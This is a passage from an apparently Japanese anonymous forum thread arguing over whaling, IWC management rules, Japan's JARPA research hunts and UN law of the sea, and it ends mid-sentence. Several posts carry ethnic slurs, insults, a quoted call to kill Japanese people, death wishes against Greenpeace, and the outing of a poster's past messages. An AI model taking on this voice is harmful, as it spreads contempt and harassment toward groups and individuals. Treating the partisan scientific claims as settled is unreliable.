北東大西洋のミンククジラの推定頭数は、1994年にIWCの本会議で採用された改定管理方式
（RMP）に用いるため、IWCの科学委員会によって評価され認められることになっている。
イギリスはRMPの採用にあたって賛成票を投じた国の一つである。そしてRMPでは、鯨の頭数
の変化をモニターできるように、最低でも５年に一回は目視調査を行なうことが求められて
いるのである。

どの条文？
イギリスのIWCコミッショナーが、ノルウェーには自分で捕獲枠を決める権限があると認識
していると聞いて、我々ハイ・ノース・アライアンスの会長のジャン・オディン・オラブセン
（Jan Odin Olavsen）は、コーアンの上司であるモーリーがノルウェーが「国際法を無視」
しようとしていると言った時、何を意味したのかといぶかった。

「モーリーには、ノルウェーが犯していると彼が主張する国際法の条文を見せて欲しいものだ」
と彼は言う。

モーリーはまた、「今日の捕鯨は世界の世論から受け入れられていない」と述べて、
科学への妨害を正当化しようとする。

「イギリスの捕鯨政策が科学を無視して、世論だけに依存したものであるのは明白だ」
とオラブセンは言う。「だから、イギリスからは、捕鯨の管理基盤としての科学について
これ以上聞くことは何もない。だが、彼らの言う、イギリスの意見が共有する
「世界の世論」とやらが何を根拠にしたものなのかは興味深い。」

(HNA（ハイ・ノース・アライアンス）発行　"The International Harpoon"（2001年7月）
からの訳。 12-Jan-2002。原題："UK Sabotages Counting Survey")

>>169
The Journal of Cetacean Research and Management の各年特集号で各国の
調査が一覧表になってるから見なさいと、何度も言ってるじゃないですかw

またまた嘘ばっかりw
此間「証拠」として出したのはPDFファイルだったよね？
それに「やってない」から「わかってない」という事実そのものは一度も否定できてないよねw
つーかやっぱり嘘吐き反捕鯨さんと同一人物だったかw
「反捕鯨国は食用利用する積りが無いから細かく知る必要が無い」なんて
ぶっちゃけちゃってたけど、それじゃRMP改善にも資源利用にも全く使えないんじゃんw
そんな調査なら仮に「やってる」としても意味無いよねw

＞毎年何百も何千もある項目から、いちいちナンキョクミンククジラの発信器、
＞バイオプシー調査だけ取り出して書き出せなんてことは、日本の納税者なら
＞鯨研に依頼すべきことだな。

違うよ？
「やってる」と言い続けてるのは他ならぬ貴方自身なんだから、
その証拠提示責任も貴方自身にしかない。
バイオプシーで追跡調査を「ミンクに対して」やってる証拠、
発信機もしくは外見識別データベースで系統群追跡調査を同じく
「ミンクに対して」やってる証拠、を出せればイインダヨ？w

で、このまま「証拠」出せずに「フェードアウト」が毎度のパターンだねw

>>175
>違うよ？
>「やってる」と言い続けてるのは他ならぬ貴方自身なんだから、
>その証拠提示責任も貴方自身にしかない。

系群を確定するのには捕殺は不要で、遺伝子情報だけで十分というのは、生態学を
知ってる人にとっては常識なの。

南極海のミンククジラについてどことどこの研究所がやってるかということと、
日本の調査捕鯨による捕殺が、系群確定にとって不要だということは関係がないの。

こういう変な議論というのは、水産庁が主導して国会議員も巻き込んでるから、
日本国内では有効だけど、国外への宣伝用には使えないディベートですよ。

>>176
目視によるミンク鯨の生息数調査をイギリス自身で実施をしてもらおうよ。
これはイギリスが賛成を投じて決めた、ＩＷＣの約束事だよね。

生態学では常識･･･どこかで聞き覚えがあると思えばあなた政治板の某スレに居た人ですね。

>>176
＞系群を確定するのには捕殺は不要で、遺伝子情報だけで十分というのは、生態学を
＞知ってる人にとっては常識なの。

また誤魔化してるw
他の国、調査機関が「捕殺調査」を「やってる」かどうかなんか訊いてないよ？
非致死での系統群把握調査をミンクに対して「やってるか」どうか、その証拠は？
って訊いてるんですよw

＞南極海のミンククジラについてどことどこの研究所がやってるかということと、
＞日本の調査捕鯨による捕殺が、系群確定にとって不要だということは関係がないの。

貴方が「やってる」と言ってる以上、その証拠を示せなければ嘘吐きだ、と言ってるだけですw
つまり「やってない」わけだ？未だに証拠出せる気配が無いもんねw

＞日本国内では有効だけど、国外への宣伝用には使えないディベートですよ。

とっくに気付いてると思うんだけど、貴方の下手な誤魔化しもココでは使えてないんだよねw

イギリスって約束平気で反古にする二枚舌国家だよね。

中東問題もコイツのせい。南極でのオージーによる領有宣言もそう。

>>178
間違いなくその人ですねw

>>180
科学的調査捕鯨が政治的な思惑に左右されては困りますよね。

>>182
>科学的調査捕鯨が政治的な思惑に左右されては困りますよね。

法律の問題でしょ？
捕鯨国側が、1946年の乱獲的捕鯨時代にできた国際捕鯨取締条約の規定を楯に、
「科学的調査捕鯨」の無制限な自己決定権を主張してるのに対し、欧州連合や
国際捕鯨委員会の多数派は、国連海洋法条約（1982年採択、1994年発効）の
64条、65条を根拠に、無制限な「科学」の主張を退けているという構図だ。

国際捕鯨取締条約じたいが、かつての業界の旦那衆の国際取り決めから、
1972年国連人間環境会議(ストックホルム)、国連海洋法条約（1982／94）
を経て、より自然保護的な国際条約へと変化したということを、わざと
無視して、昔の解釈に戻そうとすると、摩擦が起こるのは当然だね。

結局、鯨は絶滅の危機にないんだろ
じゃあ、捕っていいじゃんｗ

>>184
>結局、鯨は絶滅の危機にないんだろ

どういうわけか、これがまた、日本近海のコククジラとセミクジラだけが、
世界的に決定的に絶滅の危機なんだな。

＞じゃあ、捕っていいじゃんｗ

こういう感覚の日本人、朝鮮半島人が多いからそういうことになったんだろうな。
あー、こりゃこりゃ、にっぽんじんでわしゃしあわせだぞー　＼　w　W　　／

>>185
そもそも、「野生動物だから捕っちゃダメ」っていうあんたらの価値観が理解できんのだが

野生動物、捕っていいよ。
アメリカザリガニとか、ブラックバスとか、どんどん捕って食べちゃってね。
食糧自給、自己責任w

>>187
うん、分かった。じゃあ、ちょっくら南氷洋のミンクでも捕ってくるわ
あいつら絶滅の危機にないし、捕るのも合法だし

日本って捕鯨だけ強行なんだよね、他はあっさり応じるのに。
ところが資源問題になりそうになったら大慌てでやめたり。
「世界中から苛められる可哀想な日本」を演出しているようにも見える。

>>185

以上、日本人になれなかった、ある在日爺ちゃんの泣き言でした。
朝までクソスレ立てまくって、荒らしで嫌われることしかできないんです。
今は就寝中です。徹夜で荒らすので老体にこたえるのです。

>>189
それは外務省と農水省の違いだお

ID:5IcLKizO0さん、やっぱり証拠出せてなかったね・・・w

捕鯨に関するＢＢＣの視聴者フォーラムの意見　イギリス国営放送
http://2007blog2007.blog108.fc2.com/blog-entry-431.html

・日本製品買うのをやめることにした。日本人は財布が寒くなったら国際世論に目を向けるだろう。
・捕鯨に従事する奴は全員国際法で取り締まれ。日本はpariah（不可触民）同然の国だ。
・広島と長崎を恨んでいるのかもしれないが、鯨を殺すのは見当違いだ。
・日本が捕鯨を続けるのは時代遅れのプライドによるものだ。
・日本は戦後飢えたから捕鯨を始めて絶滅寸前に追い込んだ。文化的遺産というのはガセネタだ。
・鯨なんか食いたい奴がいるのか？よほどのデブなんだろうな。
・日本人が「調査」の名目で1000匹ザトウクジラを殺すんだって。じゃあ世界中のみんなで協力して1000人日本人を殺して調査しようか。だめかなあ。
・日本は科学的調査とほざいているが、デタラメだ。なんで1000匹も殺す必要がある？一匹殺して調べれば残りは全部同じじゃないのか？
・調査だったら食べるんじゃねーよ。なんでスーパーで鯨の切り身が売られてるんだ？
・捕鯨なんてとうの昔に禁止された蛮習だ。何故日本人はそんな野蛮なことを続ける？ 野蛮人だからか？
・鯨を魚と同じように殺すのは人間の驕りだ。彼らほど知的な生命体がこの地球上にどれほどいるというのか？
・世界で最も裕福な国々のなかの３国　日本・ノルウェー・アイスランドが恥知らずな海のレイプを続けているのは永久の恥である。第３世界から肉を買う金くらいあるだろう。
・人類は進化の過程で様々な蛮習を捨ててきたのに、日本人だけは文化のアイデンティティーと主張して残虐な捕鯨を続けている。
・鯨は絶滅寸前で、サイズからして彼らを殺す人道的な方法はない。捕鯨はやめるべきだ。
・捕鯨は日本のイメージ悪化を進めるだけだ。日本人の無神経ぶりは南京大虐殺を否定する映画を作ろうとする極右分子にも現れている。日本とドイツは好対照だ。ドイツは過去を正直に認め、虐殺を否定する奴は刑務所に入れられる。

ＧＰの反日キャンペーンの成果ですね

人種差別を煽っている点はナチスと同じ

捕鯨反対を声高に訴えてる国って白人のキリスト教国だけだろ。
これってただの、宗教による他者への価値観の押し付けであって、エコでもなんでもない。
事実、反捕鯨派はカンガルーは駆除を名目に大量に処分していいのに
鯨はダメなのかを論理的に説明する事さえできないじゃん。
この時点で反捕鯨派には、なんの説得力も無いし、ましてや白人の大好きな正義もないよ。

>>183
> 国際捕鯨委員会の多数派は、国連海洋法条約（1982年採択、1994年発効）の
> 64条、65条を根拠に、無制限な「科学」の主張を退けているという構図だ。

君の言う国連海洋法条約の64条、65条というのは、こういう条文だ。

第64条 　高度回遊性の種

　１　　沿岸国その他その国民がある地域において附属書Ｉに掲げる高度回避性の種を
漁獲する国は、排他的経済水域の内外を問わず当該地域全体において当該種の保存を確
保しかつ最適利用の目的を促進するため、直接に又は適当な国際機関を通じて協力する
。適当な国際機関が存在しない地域においては、沿岸国その他その国民が当該地域にお
いて高度回遊性の種を漁獲する国は、そのような機関を設立し及びその活動に参加する
ため、協力する。
　２　 　１の規定は、この部の規定に加えて適用する。

第65条 　海産哺乳動物

　この部のいかなる規定も、沿岸国又は適当な場合には国際機関が海産哺乳動物の開発
についてこの部に定めるよりも厳しく禁止し、制限し又は規制する権利又は権限を制限
するものではない。いずれの国も、海産哺乳動物の保存のために協力するものとし、特
に、鯨類については、その保存、管理及び研究のために適当な国際機関を通じて活動す
る。

つまり要約して言えば、「鯨のことについては、国際捕鯨委員会の決めたことに従いなさい。」ということだな。
だから国際捕鯨委員会に認められて捕獲調査をしている日本は国連海洋法条約の64条、65条には何も違反していないということ。

国連海洋法条約をいいだすなら、
オーストラリアはさっさとシーシェパードを逮捕すれよ。
でも、やらないよな。それどころか、政府高官が直々お出迎え。
自分はバリバリ違法なのに、相手に法律の薀蓄を語る。
そーいうのを二枚舌っていうんだぜ。

反捕鯨の理屈のほとんどは感情的なもので、科学的とはとてもいえないものだ。
これじゃ、たとえある種の鯨の数が回復していることが証明されたとしても、反捕鯨派は捕鯨することを許さないんだろうな。

鯨捕れなくていいから、GPは全員死んでくれないか？頼むから

アメリカは未だに海洋法条約の批准をしてないんだよね。何か都合が悪い事でもあるのか？

ちょっと皆age杉じゃね？

youtubeの反捕鯨に熱心なカキコしてるヤツらって、
なんでたいていが２００７年の７月ごろの登録なんだろうな。やっぱ工作員か？

>>175
>バイオプシーで追跡調査を「ミンクに対して」やってる証拠、
>発信機もしくは外見識別データベースで系統群追跡調査を同じく
>「ミンクに対して」やってる証拠、を出せればイインダヨ？w

VIKINGSSON, G.A. AND HEIDE-J0RGENSEN, M.P. A
note on the movements of minke whales tracked by
satellite in Icelandic waters in 2001-2004. SC/57/O9

OIEN, N. Report of the Norwegian 2004 survey for
minke whales in the North Sea and southern
Norwegian Sea. SC/57/O10

PALSBOLL, P.J., BERUBE, M., ROBBINS, J., NETTEL-
HERNANZ; A., CLAPHAM, P.J. AND MATTILA, D.
Whales before whaling in the North Atlantic: nuclear
DNA markers. SC/56/O25.

PALUMBI, S., ROMAN, J., (2006) The History of Whales
Read from DNA.:in Estes, J. (ed.) Whales, Whaling and Ocean
Ecosystems

>つまり要約して言えば、「鯨のことについては、国際捕鯨委員会の決めたことに従いなさい。」ということだな。
>だから国際捕鯨委員会に認められて捕獲調査をしている日本は国連海洋法条約の64条、65条には何も違反していないということ。

2007年の第一決議で、日本政府が捕獲許可を出さないよう勧告されているのに
どうして「国際捕鯨委員会に認められて捕獲調査をしている」と言えるのかな？

『勧告』、か。･･･勧告と韓国はとっても似ているねｗ

たった4つで、そのうち3つまでは思いっきり北大西洋でつか…

途上国を脅迫、買収までして陣取ったIWCで勧告とかいわれてもねぇ･･･
つーか、環境かんけーねーだろぶっちゃけ

オーストラリアも勧告に従って海犬取り締まれよ

ＳＳに対しては「全会一致の非難決議」ね。重みが違います。

いま、途上国はさ
日本がかつて明治期に体験したようなことにいままさに直面してるんだと思うわけよ
欧米諸国からすげー不条理な要求を突きつけられて、
不平等・不公正甚だしいにもかかわらずやむを得ず従わざるを得ないというね

そーいうのは20世紀の遺物であって欲しかったね個人的には
所詮は絵空事だとわかっていてもね

デスプルーフという映画の中に、
「ニュージーランド人に向かってオージーと絶対に呼ぶな。
ケツを蹴り飛ばされても文句言えない」と言う場面が出てくる。
オージーって蔑称なのかな？

いや、オージーが蔑称なんかなくって、
オージーと俺らを一緒にするなってことだろ
それくらい嫌われ者だってことだ

過去ログに、ニュージーランド留学生の実体験が載ってたな

>>204
ようやくの「証拠」提示、有難う御座います。

・・・・・・ノルウェー、アイスランド、北大西洋・・・・・

成る程成る程、コレは「JARPA/JARPA�U対象のミンクに関しては」
全く「やってない」という「証拠」ですね？

これでやっとスッキリしましたよ！！

御自白、感謝しますw

>>214
涙目くん、あいかわらず往生際わるいなあ・・。ｗ

きみは「ミンクに対して」と言っている、
いつから「JARPA/JARPA�U対象のミンクに関しては」 になったんだい？ｗ


それから涙目くん“RMP改善”ってな〜に？

>>204
いやあ助かります。これからソレ使わせてもらいます。

ってことは涙目くん（ID:ys0RIh4f0）、これからは
「南極海ミンククジラに関してはなぜやらない？」ですかなあ・・。ｗ

南極の調査捕鯨（JARPA/JARPA�U）についての話をしてたんじゃ・・・

と横槍を入れてみる

>>197
>つまり要約して言えば、
>「鯨のことについては、国際捕鯨委員会の決めたことに従いなさい。」ということだな。

ま、そういうことです。

でも7BC1Glj60さんがおっしゃるように
毎年のように「国際捕鯨委員会の決めたこと」
つまり調査捕鯨中止勧告決議という「国際決議」を
『拘束力がないから無視、無視』と言って
このエセ科学捕鯨を強行しているんだなこれが。

>>218
>『拘束力がないから無視、無視』と言って
拘束力があるなら従うでしょう。
従うか、従わないかは、法律や条約上の決まりであって、
科学的調査捕鯨の意味を否定する根拠にはならないよ

>>217
横槍というか、当たり前の頭持ってる者には不要な指摘ってとこかと。
話の流れは当たり前に南極海だからね。

で、ちょっと面白いのが、昨夜あたりに「非致死性調査での系統群なんて
いくらでも行われてる」と言ってた人の方が、毎度南極と明示的に言って
るんだな。(昨夜の流れの発端はJARPAの論文審査結果概要のPDF
から来てるんだから明示的に言うまでもないんだけどねw)

ID変わってるから確証は無いにしても、その人がねぇ…w

>ID変わってるから確証は無いにしても、その人がねぇ…w

いいやおれは別人だよ。（その人の名誉のためにも言っとくけどね）

>>219
ま、一度や二度ならまだしも殆ど毎年だからね。

つかもし北朝鮮はこれと同じことを毎年やったらどう思う？ｗ
『拘束力がないから無視、無視』って言ってね。ｗ

【国際】カンガルー400頭の安楽死処分を保留 - オーストラリア
http://mamono.2ch.net/test/read.cgi/newsplus/1206967651/

>>215
>きみは「ミンクに対して」と言っている、
>いつから「JARPA/JARPA�U対象のミンクに関しては」 になったんだい？ｗ

いや、私は全く構わないんだよ？
事実これでJARPA/JARPA�U対象のミンクに対して系統群追跡についての調査を
全く「やってない」事がハッキリしたんだからw

>>217氏の言うとおり、昨日>>161>>166なんかで訊いてたのはJARPA/JARPA�U対象
ミンクの事なんだけど、案の定それについて「やってる」証拠は出せずに>>204の
ノルウェー、アイスランド、北大西洋の「やってる」証拠出して誤魔化そうとして
るんだよねw

>それから涙目くん“RMP改善”ってな〜に？

５． JARPA計画の結果はRMPの下での資源管理に必要としないが，次の方法で
南氷洋ミンククジラの資源管理を改善する可能性を有する。（１）RMPの適用
模擬試験において考えられるシナリオの数を減らす。（２）将来のRMPの適用
模擬試験において新たなシナリオの特定作業を進める（例えば，系統群構造
の季節要素）。
http://www.jfa.maff.go.jp/release/16.1105.01.htm

涙目愛誤反捕鯨のkuji7クン、返ってくる反応は毎度毎度同じなのでとっくに
予想できてるけど、キミ一人が曲解してるだけ、ですからw

ここで一生懸命反捕鯨理論を喧伝してる人たちは、
将来、イギリスが地下資源獲得のために
南極開発に乗り出したらどーするんだろうね
やっぱ反対の立場を取るんですかね

「南極は地球上の二酸化炭素を吸収してる南極の開発は
南極一帯の生態系を破壊するおそれがある」
「南極条約違反の可能性がある」っていってくれるんすかね

それとも、おそらく連日のように報道される
「時代は変わった。これからは南極の資源開発の時代だ」という
イギリス政府のプロパガンダに踊らされて無視を貫くんすかね
あるいは、そのときになっても「見たまえ諸君。信じがたいことに、
ジャップはいまだに忌まわしい鯨食を続けているのだ」って写真撮って
メディアに送りつけたりしてるんすかね。

いや中国でもいい。
どうするみなさん？ｗ

毎年のように国際決議を無視してんだぜ。

>>222
勧告というのは、あくまでもアドバイスであって、
それに従うかどうかは加盟国の決めることでしょ？
従わないからと言って、それを理由に
何のペナルティも受ける理由は無いよ。

問題はIWCや反日科学委員が日本の科学的調査は「非致死性調査」でもできると言ってた
ことなんじゃないの？

それで、ザトウや北大西洋のミンクは非致死でできるけど、南極海のミンクは捕殺しなきゃ
できないってことを証明すればいいのか？

>>224
（１）RMPの適用模擬試験において考えられるシナリオの数を減らす。

ってどういうこと？具体的にね。シナリオってなに？

（２）将来のRMPの適用擬試験において新たなシナリオの特定作業を進める
（例えば，系統群構造 の季節要素）。

ってどういうこと？具体的にね。

ちなみに夏にクジラを殺すとそのクジラが冬にどうしているかが分かんなくなっちゃう、
つまり系統群構造は一生分かんないってことになっちゃうけどどうする？ｗ

んでどうしてそれらが“RMP改善”ってことになるのか？具体的にね。

そもそもバーターだったもんなのに、後から約束を反故にして勧告もあったもんじゃねーよ

>>227
だからペナルティの話をしているのではなく。
もしかりに中国が同じ事をやっているとしたらどう思うと訊いている。
毎年のように（どうせ拘束力がないんだから）無視、無視と言って
調査捕鯨を強行しているとしたらどう思うかいと訊いている。

>>231
仮定の話で聞かれてもあまり意味ないよ。

条約で認められた措置をとれば良いのでは。
少なくともＳＳの行為を正当化できる条約上の根拠は無いでしょ？

>>224
つーか涙目くん、よーく読めばわかるが
“RMP改善”とは書いてない
“南氷洋ミンククジラの資源管理を改善”と書いてある。

“RMP改善”＝“南氷洋ミンククジラの資源管理を改善”ではないのだよ。
（まあかなり恣意的な書き方であることは確かだけどね）

>>229
＞ってどういうこと？具体的にね。シナリオってなに？
＞ってどういうこと？具体的にね。

キミと同じく全くの素人ですので知りませんw
ただこれはIWC科学委員会の見解ですからね？
http://www.jfa.maff.go.jp/release/16.1105.01.htm

＞ちなみに夏にクジラを殺すとそのクジラが冬にどうしているかが分かんなくなっちゃう、
＞つまり系統群構造は一生分かんないってことになっちゃうけどどうする？ｗ

ん？何故捕殺個体以外への追跡調査を「できない」事として考えちゃうの？
JARPAでは系統群を丸ごと皆殺しにしてるんだっけ？w

＞んでどうしてそれらが“RMP改善”ってことになるのか？具体的にね。

IWC科学委員会の偉い学者さん達が言ってる事なんでそれを支持してるだけ
なんだけどなw
んでどうして哀誤のkuji7クンはこれを“RMP改善”じゃないと思うのかな？
「具体的に」ね？w

>>223
＞“RMP改善”とは書いてない
＞“南氷洋ミンククジラの資源管理を改善”と書いてある。

毎度毎度の曲解お待ちしておりましたw

＞５． JARPA計画の結果はRMPの下での資源管理に必要としないが，次の方法で
＞南氷洋ミンククジラの資源管理を改善する可能性を有する。
http://www.jfa.maff.go.jp/release/16.1105.01.htm

RMPって単体鯨種を対象とした管理方式なんだよねェ？
“南氷洋ミンククジラの資源管理を改善”ってRMP以外の何を改善する事を指すの？
RMP以外に"南氷洋ミンククジラの資源管理"システムってあるんだっけェ？

＞“RMP改善”＝“南氷洋ミンククジラの資源管理を改善”ではないのだよ。

じゃあ何を改善するとIWC科学委員会は言ってるのか、「具体的に」答えられるかな？w

>>234
>＞んでどうしてそれらが“RMP改善”ってことになるのか？具体的にね。

>IWC科学委員会の偉い学者さん達が言ってる事なんでそれを支持してるだけ
>なんだけどなw

ん？　“RMP改善”って言ってないけど？ｗ
“南氷洋ミンククジラの資源管理を改善”って言ってるけど？

どこに“RMP改善”なんて書いてある？

>>236
>ん？　“RMP改善”って言ってないけど？ｗ
>“南氷洋ミンククジラの資源管理を改善”って言ってるけど？

>>235

IWC科学委員会が言ってるのは「RMP改善」じゃなくて「何を改善する」と
言ってるのか答えられるかな？w
RMPの他に今現在運用を検討されてる「南氷洋ミンククジラの資源管理」
に相当する管理方式は存在するんだっけ？

>>210 このままＳＳのさばしたら捕鯨国有利になるようなシナリオが見えるからなｗ
何か事故でもおきればいいのにｗ死者を出してはだめだが

>>235
>RMP以外に"南氷洋ミンククジラの資源管理"システムってあるんだっけェ？

あるよ、生態系モデルを使っての鯨資源管理っていうのがね。

>じゃあ何を改善するとIWC科学委員会は言ってるのか、「具体的に」答えられるかな？w

まあ多分のその生態系モデルを改善すると言ってるんだろうね。

いやいや正確に書くと「改善する“可能性”がある」とね。

あぶないあぶない、もうちょっとで例の涙目くんの詭弁に引っかかるとこだった。ｗ

>>240
可能性があるだけなら、調査方法については、
日本のやり方を含め、さまざまな方法を認めれば良い訳ですね。

涙目くん、これで少なくとも科学委員会が
“RMP改善”なんてことは言ってない
ってことが理解できたかな。

>>239
＞あるよ、生態系モデルを使っての鯨資源管理っていうのがね。

何故南氷洋ミンクという単一鯨種に対して「生態系モデル」を"改善"出来るのか
説明出来るかな？

＞>じゃあ何を改善するとIWC科学委員会は言ってるのか、「具体的に」答えられるかな？w

＞まあ多分のその生態系モデルを改善すると言ってるんだろうね。

違うよね？
＞５． JARPA計画の結果はRMPの下での資源管理に必要としないが，次の方法で
＞南氷洋ミンククジラの資源管理を改善する可能性を有する。
http://www.jfa.maff.go.jp/release/16.1105.01.htm

実際運用する資源管理方式はRMPなんだよね？
キミが言ってる「生態系モデル」は運用検討されてるの？
それから「改善」対象が「生態系モデル」だったとしてIWC科学委員会自体が
＞次の方法で＞南氷洋ミンククジラの資源管理を改善する可能性を有する。
＞http://www.jfa.maff.go.jp/release/16.1105.01.htm

と認めてる以上はJARPA/JARPA�Uの必要性が有る、という事実に変りはない筈だよねェ...？w

>>243
涙目くん、なに言ってんだか分かんないよ。

まあとにかく少なくとも科学委員会が
“RMP改善”なんてことは言ってない
ってことが理解できたみたいね。

>>242
＞これで少なくとも科学委員会が“RMP改善”なんてことは言ってない
＞ってことが理解できたかな。

ん？事実、「IWC科学委員会」自体が言ってる事だよねェ.....w

５． JARPA計画の結果はRMPの下での資源管理に必要としないが，次の方法で
南氷洋ミンククジラの資源管理を改善する可能性を有する。（１）RMPの適用
模擬試験において考えられるシナリオの数を減らす。（２）将来のRMPの適用
模擬試験において新たなシナリオの特定作業を進める（例えば，系統群構造
の季節要素）。
http://www.jfa.maff.go.jp/release/16.1105.01.htm

キミがどんなに曲解に曲解を重ねて必死に否定しようとしても、
IWC科学委員会自体がJARPA/JARPA�Uでの「資源管理を改善する可能性」を
認めてる以上、JARPA/JARPA�Uは必要、という事にしかなりませんw

それとも「鯨類資源の持続利用」を目的としたIWCにおいて、資源管理方式を
「（改善余地が有るのにも拘らず）それ以上改善しなくてよい」なんて言ってるとでも？w

>>223
”安楽死”をやめた（？）ということは
そもそも”安楽死”の必要性に科学的根拠がなかったと、
そういうことですねｗギャレットはどう言い訳するのかな？ｗｗｗ

実はこの「生態系モデルを使っての鯨資源管理」って言い出したのは
この業界の御用学者さんたちなのね。

「RMP資源管理]だと鯨を“殺す必要がない”ので焦ったこの御用学者さんたちは
今度は多くのパラメータを必要とするこの「生態系モデル鯨資源管理」を
唱え出したというわけなのさ。ｗ

>>244
＞まあとにかく少なくとも科学委員会が“RMP改善”なんてことは言ってない
＞ってことが理解できたみたいね。

単一種である「南氷洋ミンククジラ」の資源管理方式とはRMP以外を指さない
のだから、それを「改善」すると言えばRMP改善以外はあり得ないんだよねw

勿論「生態系モデル」なら多鯨種・他生物間の競合などを指すんだろうから
ザトウやナガスの資源管理の改善の事も同時に指すのかも知れないけど、
ここでは明確に「南氷洋ミンククジラの資源管理を」と書いてるからRMP改善
以外に考えられませんw

涙目愛誤反捕鯨のkuji7クン、
恐らくこのスレでキミ一人が理解出来てないだけだよねw

>>247
相変わらずグッダグダの愛誤kuji7クン、少なくとも「資源管理」の「改善可能性」
を認めてるのは「日本の学者さん」ではなくて「IWC科学委員会」なのは理解出来たかな？w

５． JARPA計画の結果はRMPの下での資源管理に必要としないが，次の方法で
南氷洋ミンククジラの資源管理を改善する可能性を有する。（１）RMPの適用
模擬試験において考えられるシナリオの数を減らす。（２）将来のRMPの適用
模擬試験において新たなシナリオの特定作業を進める（例えば，系統群構造
の季節要素）。
http://www.jfa.maff.go.jp/release/16.1105.01.htm

キミがどんなに曲解に曲解を重ねて必死に否定しようとしても、
IWC科学委員会自体がJARPA/JARPA�Uでの「資源管理を改善する可能性」を
認めてる以上、JARPA/JARPA�Uは必要、という事にしかなりませんw

それとも「鯨類資源の持続利用」を目的としたIWCにおいて、資源管理方式を
「（改善余地が有るのにも拘らず）それ以上改善しなくてよい」なんて言ってるとでも？w

下記のどこに“RMP改善”なんて書いてある？
（ﾆﾎﾝｺﾞ大丈夫？）

　　　↓

５． JARPA計画の結果はRMPの下での資源管理に必要としないが，次の方法で
南氷洋ミンククジラの資源管理を改善する可能性を有する。（１）RMPの適用
模擬試験において考えられるシナリオの数を減らす。（２）将来のRMPの適用
模擬試験において新たなシナリオの特定作業を進める（例えば，系統群構造
の季節要素）。


つーかそもそも“JARPA計画の結果はRMPの下での資源管理に必要としない”って書いてあるじゃん。ｗ
それでどうして「JARPAが“RMP改善”になる」なんて言えるんかい？ｗ
ﾆﾎﾝｺﾞ大丈夫？ｗ

>>247
「御用学者」なんて表現を持ち出す必要は無いです。
内容の是非で議論すべきです。

ここって議論スレだったか？

まぁ、ここで一つ「くじら君」なるコテ付きさんの過去の発言を見て頂きましょうw

ID:PmkQiRHN0（くじら君）＝ kujira 77777 さんなんですけど（発言内容から見て間違いなし）
彼は過去こんな発言もしています。
http://messages.yahoo.co.jp/bbs?.mm=NW&action=m&board=2000251&tid=a5 afa58a5ia4rbfa9a4ya4ha4a6a1aa&sid=2000251&mid=29

＞まず第一に、
＞野生動物はその動物本来の生息域で静かに
＞暮らさせてやりたいと思ってるからです。
＞そっとしておいてやりたい、
＞と思うわけです。

＞彼らが人間に迷惑をかけたわけじゃないのに
＞一方的に殺されるのがたまらなくいやなのです。

＞家族だっているでしょう。
＞それを無理やり引き裂く。
＞人間にそこまでやる権利があるんだろうか？
＞と思うわけです。

＞魚は？牛は？豚は？＞と言われても困るんですが、線引きは
＞そこにしています。

＞そう、
＞言われる通りかなり心情的なもんです。
http://messages.yahoo.co.jp/bbs?.mm=GN&action=m&board=1834578&tid=a45a4a2a1aabdt7afa1aaja7dfldbja4c0a1aa&sid=1834578&mid=8250

>>250
まぁ、キミが痛々しい愛誤動機で無理な食い下がり方する御馬鹿さんなのは
>>253で皆さんに知れてしまったと思いますが....w

>つーかそもそも“JARPA計画の結果はRMPの下での資源管理に必要としない”って書いてあるじゃん。ｗ
>それでどうして「JARPAが“RMP改善”になる」なんて言えるんかい？ｗ

見たまんまだよねw
意図的に記述を一部削除しても（これ、インチキ反捕鯨団体がよくやる手口ねw）
「IWC科学委員会」が「資源管理の改善可能性」を認めた事実は動きませんからw

５． JARPA計画の結果はRMPの下での資源管理に必要としないが，次の方法で
南氷洋ミンククジラの資源管理を改善する可能性を有する。
http://www.jfa.maff.go.jp/release/16.1105.01.htm

キミがどんなに曲解に曲解を重ねて必死に否定しようとしても、
IWC科学委員会自体がJARPA/JARPA�Uでの「資源管理を改善する可能性」を
認めてる以上、JARPA/JARPA�Uは必要、という事にしかなりませんw

それとも「鯨類資源の持続利用」を目的としたIWCにおいて、資源管理方式を
「（改善余地が有るのにも拘らず）それ以上改善しなくてよい」なんて言ってるとでも？w

＞くじら君
あんたの言いたいことよくわかるよ
なるべく殺さないようにしたいんだろ
スゲー自己矛盾抱えるし、二重基準甚だしいけどね
でも、最終的に人間なんじゃないの

なんか良くわからんが、科学委員会のそれって日本のやってる事は現状の
捕獲枠管理には直接必要ない。でも理論上、もっと進化した管理をしていくのには
有効だけど、殺す量は認められないっていう単純な事でしょ。
何を議論してるの？それにその規模で殺して得られたデータが不充分だとしている訳
で、これ以上殺す量を増やす訳にもいかないし、どうしようもないよね。
殺さないで他の手段で現状の調査を継続するしか問題は解決しないようにしか見えないけど。

「改善」は可能だけど、そのために致死調査をする必要はない、てのが科学委員会の
結論だし、IWC総会の諸決議（たとえば2007年第３決議）だね。

たとえば、日本側のミンク＜―＞ザトウ＜―＞シロナガス競合論（これも、資源管理
の参考情報にはなりうる）に反証として出されたフリードレンダー他の「住み分け論」
は殺さずに、それぞれの鯨種の摂食海域が競合を避けるように分布してるということを
示した。Friedlaender, A.S., Lawson, G.L. and Halpin, P.N. 2006. Evidence of resource
partitioning and niche separation between humpback and minke whales in Antarctica:
implications for inter-specific competition. Paper SC/58/E32 presented to the
IWC Scientific Committee, May 2006, St. Kitts and Nevis, West Indies. 37pp.

この場合、何を食ったかなんてことは、腹を割いて調べるまでもない。
ほとんどの海域でナンキョクオキアミ、岸に近い氷の間ではアイスオキアミ
が99％だということは何十年も前からだれにでもわかっているし、食べてる
海を見ればわかる。

日本側の反論は、フリードレンダーたちが調査した時期は４月から６月で、摂食の
最盛期を過ぎているというものだったね。（REPORT OF THE INTERSESSIONAL
WORKSHOP SC/59/REP 1，　27p．）

そう、日本の調査捕鯨はいつも12月から３月までで、18年間もやってて他の時期や
海域を調べたことがなかった。ここで日本以外の会議参加者たちの頭の中に、大きな
＜？＞が飛び交うわけだ。＜そういう画一的で偏った調査法ばかり続けていて、鯨類資源
管理の「改善」と言われてもねえ＞、みたいなね。

失礼、訂正。
誤）日本側のミンク＜―＞ザトウ＜―＞シロナガス競合論
正）日本側のミンク＜―＞ザトウ＜―＞ナガス競合論

他に、「REPORT OF THE INTERSESSIONAL WORKSHOP SC/59/REP 1」
では、とにかくサテライト（衛星受信）発信器を付けて、移動、温帯の各繁殖地
への分岐を調べるべきだと、強く推奨（リコメンド）してますね。
そうすれば系群の分離が明確になり、もし商業捕鯨したいなら、それに必要な
データが出ますからと。

この指摘はずいぶん前からあって、アイスランドみたいな小国でも2001年から
